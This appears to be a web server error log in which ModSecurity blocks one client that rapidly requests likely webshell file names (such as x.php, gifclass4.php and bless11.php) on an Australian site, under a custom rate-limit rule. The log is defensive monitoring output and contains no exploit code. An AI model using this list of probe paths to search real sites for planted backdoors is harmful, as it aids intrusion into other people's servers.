[Fri Feb 13 03:09:34.832694 2026] [:error] [pid 37510:tid 37523] [client 20.234.103.39:5937] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aY4lbsUrqDPNSf1wYBW8pgAAAYc"]
[Fri Feb 13 03:09:35.512971 2026] [:error] [pid 37511:tid 37593] [client 20.234.103.39:5898] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aY4lb-8EBJ86uZdxpA2ivQAAAEw"]
[Fri Feb 13 03:09:36.105493 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:6493] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aY4lcBXZP6NFBacuW_1b7wAAAI0"]
[Fri Feb 13 03:09:36.624966 2026] [:error] [pid 37512:tid 37618] [client 20.234.103.39:6055] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aY4lcNDe69znS-f6vSZulAAAAAk"]
[Fri Feb 13 03:09:37.339493 2026] [:error] [pid 23410:tid 23416] [client 20.234.103.39:6089] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aY4lcRXZP6NFBacuW_1b8gAAAIQ"]
[Fri Feb 13 03:09:38.055739 2026] [:error] [pid 23410:tid 23419] [client 20.234.103.39:5974] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/520.php"] [unique_id "aY4lchXZP6NFBacuW_1b8wAAAIc"]
[Fri Feb 13 03:09:38.641995 2026] [:error] [pid 37510:tid 37528] [client 20.234.103.39:5901] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aY4lcsUrqDPNSf1wYBW8qAAAAYw"]
[Fri Feb 13 03:09:39.295749 2026] [:error] [pid 37511:tid 37598] [client 20.234.103.39:5956] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aY4lc-8EBJ86uZdxpA2iwwAAAFE"]
[Fri Feb 13 03:09:39.991611 2026] [:error] [pid 37511:tid 37586] [client 20.234.103.39:5908] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aY4lc-8EBJ86uZdxpA2ixAAAAEU"]
[Fri Feb 13 03:09:40.571125 2026] [:error] [pid 37510:tid 37517] [client 20.234.103.39:5989] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aY4ldMUrqDPNSf1wYBW8rAAAAYE"]
[Fri Feb 13 03:09:41.158488 2026] [:error] [pid 37510:tid 37519] [client 20.234.103.39:6002] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aY4ldcUrqDPNSf1wYBW8rwAAAYM"]
[Fri Feb 13 03:09:41.783981 2026] [:error] [pid 37856:tid 37882] [client 20.234.103.39:5941] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aY4ldZUcWP4qWM7hWsk0HQAAANc"]
[Fri Feb 13 03:09:42.338198 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:5914] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aY4ldu8EBJ86uZdxpA2ixwAAAFM"]
[Fri Feb 13 03:09:43.033648 2026] [:error] [pid 23410:tid 23416] [client 20.234.103.39:5977] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aY4ldxXZP6NFBacuW_1b_AAAAIQ"]
[Fri Feb 13 03:09:43.638313 2026] [:error] [pid 37510:tid 37532] [client 20.234.103.39:5927] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aY4ld8UrqDPNSf1wYBW8swAAAZA"]
[Fri Feb 13 03:09:44.166229 2026] [:error] [pid 37511:tid 37601] [client 20.234.103.39:5894] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aY4leO8EBJ86uZdxpA2iywAAAFQ"]
[Fri Feb 13 03:09:44.746526 2026] [:error] [pid 23410:tid 23427] [client 20.234.103.39:6114] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aY4leBXZP6NFBacuW_1b_wAAAI8"]
[Fri Feb 13 03:09:45.478746 2026] [:error] [pid 23410:tid 23429] [client 20.234.103.39:5960] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aY4leRXZP6NFBacuW_1cAAAAAJE"]
[Fri Feb 13 03:09:46.034568 2026] [:error] [pid 23410:tid 23424] [client 20.234.103.39:5981] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aY4lehXZP6NFBacuW_1cAgAAAIw"]
[Fri Feb 13 03:09:46.617908 2026] [:error] [pid 37511:tid 37586] [client 20.234.103.39:5917] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aY4leu8EBJ86uZdxpA2i0QAAAEU"]
[Fri Feb 13 03:09:47.151838 2026] [:error] [pid 37512:tid 37619] [client 20.234.103.39:5868] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aY4le9De69znS-f6vSZuoAAAAAo"]
[Fri Feb 13 03:09:47.804217 2026] [:error] [pid 37510:tid 37519] [client 20.234.103.39:5824] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aY4le8UrqDPNSf1wYBW8vAAAAYM"]
[Fri Feb 13 03:09:48.315691 2026] [:error] [pid 37856:tid 37870] [client 20.234.103.39:5992] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aY4lfJUcWP4qWM7hWsk0MAAAAMs"]
[Fri Feb 13 03:09:48.839946 2026] [:error] [pid 37511:tid 37605] [client 20.234.103.39:5900] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aY4lfO8EBJ86uZdxpA2i1AAAAFg"]
[Fri Feb 13 03:09:49.416463 2026] [:error] [pid 37511:tid 37593] [client 20.234.103.39:5845] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aY4lfe8EBJ86uZdxpA2i1gAAAEw"]
[Fri Feb 13 03:09:50.145385 2026] [:error] [pid 37510:tid 37537] [client 20.234.103.39:5841] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aY4lfsUrqDPNSf1wYBW8wQAAAZU"]
[Fri Feb 13 03:09:50.775167 2026] [:error] [pid 37856:tid 37874] [client 20.234.103.39:5874] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aY4lfpUcWP4qWM7hWsk0OwAAAM8"]
[Fri Feb 13 03:09:51.305228 2026] [proxy_fcgi:error] [pid 37856:tid 37877] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:51.561872 2026] [proxy_fcgi:error] [pid 37856:tid 37861] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:51.821878 2026] [proxy_fcgi:error] [pid 37856:tid 37875] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:52.083009 2026] [proxy_fcgi:error] [pid 37856:tid 37870] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:52.337786 2026] [proxy_fcgi:error] [pid 37856:tid 37862] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:52.591775 2026] [proxy_fcgi:error] [pid 37856:tid 37865] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:52.857812 2026] [proxy_fcgi:error] [pid 37856:tid 37867] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:53.368468 2026] [proxy_fcgi:error] [pid 37856:tid 37873] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:53.623246 2026] [proxy_fcgi:error] [pid 37856:tid 37879] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:53.878959 2026] [proxy_fcgi:error] [pid 37856:tid 37877] [client 20.234.103.39:5984] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:09:54.130335 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:5984] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class9.php"] [unique_id "aY4lgpUcWP4qWM7hWsk0WQAAANA"]
[Fri Feb 13 03:09:54.725697 2026] [:error] [pid 37511:tid 37604] [client 20.234.103.39:5902] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class9.php"] [unique_id "aY4lgu8EBJ86uZdxpA2i4QAAAFc"]
[Fri Feb 13 03:09:55.271629 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:6006] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class9.php"] [unique_id "aY4lg9De69znS-f6vSZurwAAAA8"]
[Fri Feb 13 03:09:55.828318 2026] [:error] [pid 37511:tid 37598] [client 20.234.103.39:6008] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class9.php"] [unique_id "aY4lg-8EBJ86uZdxpA2i5gAAAFE"]
[Fri Feb 13 03:09:56.397784 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:5934] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aY4lhO8EBJ86uZdxpA2i6QAAAFM"]
[Fri Feb 13 03:09:56.940057 2026] [:error] [pid 37511:tid 37596] [client 20.234.103.39:5899] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aY4lhO8EBJ86uZdxpA2i6gAAAE8"]
[Fri Feb 13 03:09:57.575813 2026] [:error] [pid 23410:tid 23434] [client 20.234.103.39:5910] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aY4lhRXZP6NFBacuW_1cDQAAAJY"]
[Fri Feb 13 03:09:58.301278 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6124] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aY4lhhXZP6NFBacuW_1cEgAAAIY"]
[Fri Feb 13 03:09:59.135655 2026] [:error] [pid 37510:tid 37525] [client 20.234.103.39:6028] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY4lh8UrqDPNSf1wYBW80QAAAYk"]
[Fri Feb 13 03:10:00.163362 2026] [:error] [pid 37511:tid 37591] [client 20.234.103.39:6013] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY4liO8EBJ86uZdxpA2i8AAAAEo"]
[Fri Feb 13 03:10:01.123696 2026] [:error] [pid 37512:tid 37620] [client 20.234.103.39:5945] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY4lidDe69znS-f6vSZuswAAAAs"]
[Fri Feb 13 03:10:01.850873 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:5857] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aY4liRXZP6NFBacuW_1cGQAAAIM"]
[Fri Feb 13 03:10:02.566749 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:5865] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aY4lihXZP6NFBacuW_1cGgAAAIs"]
[Fri Feb 13 03:10:03.328017 2026] [:error] [pid 37856:tid 37874] [client 20.234.103.39:5987] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aY4li5UcWP4qWM7hWsk0bAAAAM8"]
[Fri Feb 13 03:10:04.504096 2026] [:error] [pid 37856:tid 37860] [client 20.234.103.39:5890] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aY4ljJUcWP4qWM7hWsk0bgAAAME"]
[Fri Feb 13 03:10:05.563182 2026] [:error] [pid 23410:tid 23429] [client 20.234.103.39:5852] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aY4ljRXZP6NFBacuW_1cIQAAAJE"]
[Fri Feb 13 03:10:07.116519 2026] [:error] [pid 37511:tid 37583] [client 20.234.103.39:5854] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aY4lj-8EBJ86uZdxpA2i-AAAAEM"]
[Fri Feb 13 03:10:08.935039 2026] [:error] [pid 37511:tid 37599] [client 20.234.103.39:5963] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aY4lkO8EBJ86uZdxpA2i_QAAAFI"]
[Fri Feb 13 03:10:10.486736 2026] [:error] [pid 37510:tid 37520] [client 20.234.103.39:5924] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aY4lksUrqDPNSf1wYBW82wAAAYQ"]
[Fri Feb 13 03:10:11.932436 2026] [:error] [pid 37856:tid 37860] [client 20.234.103.39:5979] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aY4lk5UcWP4qWM7hWsk0eQAAAME"]
[Fri Feb 13 03:10:12.998869 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6454] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4llJUcWP4qWM7hWsk0fQAAANA"]
[Fri Feb 13 03:10:13.720100 2026] [:error] [pid 37512:tid 37616] [client 20.234.103.39:5973] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4lldDe69znS-f6vSZuxQAAAAc"]
[Fri Feb 13 03:10:14.420207 2026] [:error] [pid 37512:tid 37626] [client 20.234.103.39:5938] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4lltDe69znS-f6vSZuyQAAABA"]
[Fri Feb 13 03:10:15.396642 2026] [:error] [pid 23410:tid 23426] [client 20.234.103.39:5932] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/403.php"] [unique_id "aY4llxXZP6NFBacuW_1cRAAAAI4"]
[Fri Feb 13 03:10:16.272694 2026] [:error] [pid 37512:tid 37617] [client 20.234.103.39:5935] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aY4lmNDe69znS-f6vSZu0AAAAAg"]
[Fri Feb 13 03:10:17.152223 2026] [:error] [pid 37856:tid 37878] [client 20.234.103.39:5906] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file9.php"] [unique_id "aY4lmZUcWP4qWM7hWsk0iAAAANM"]
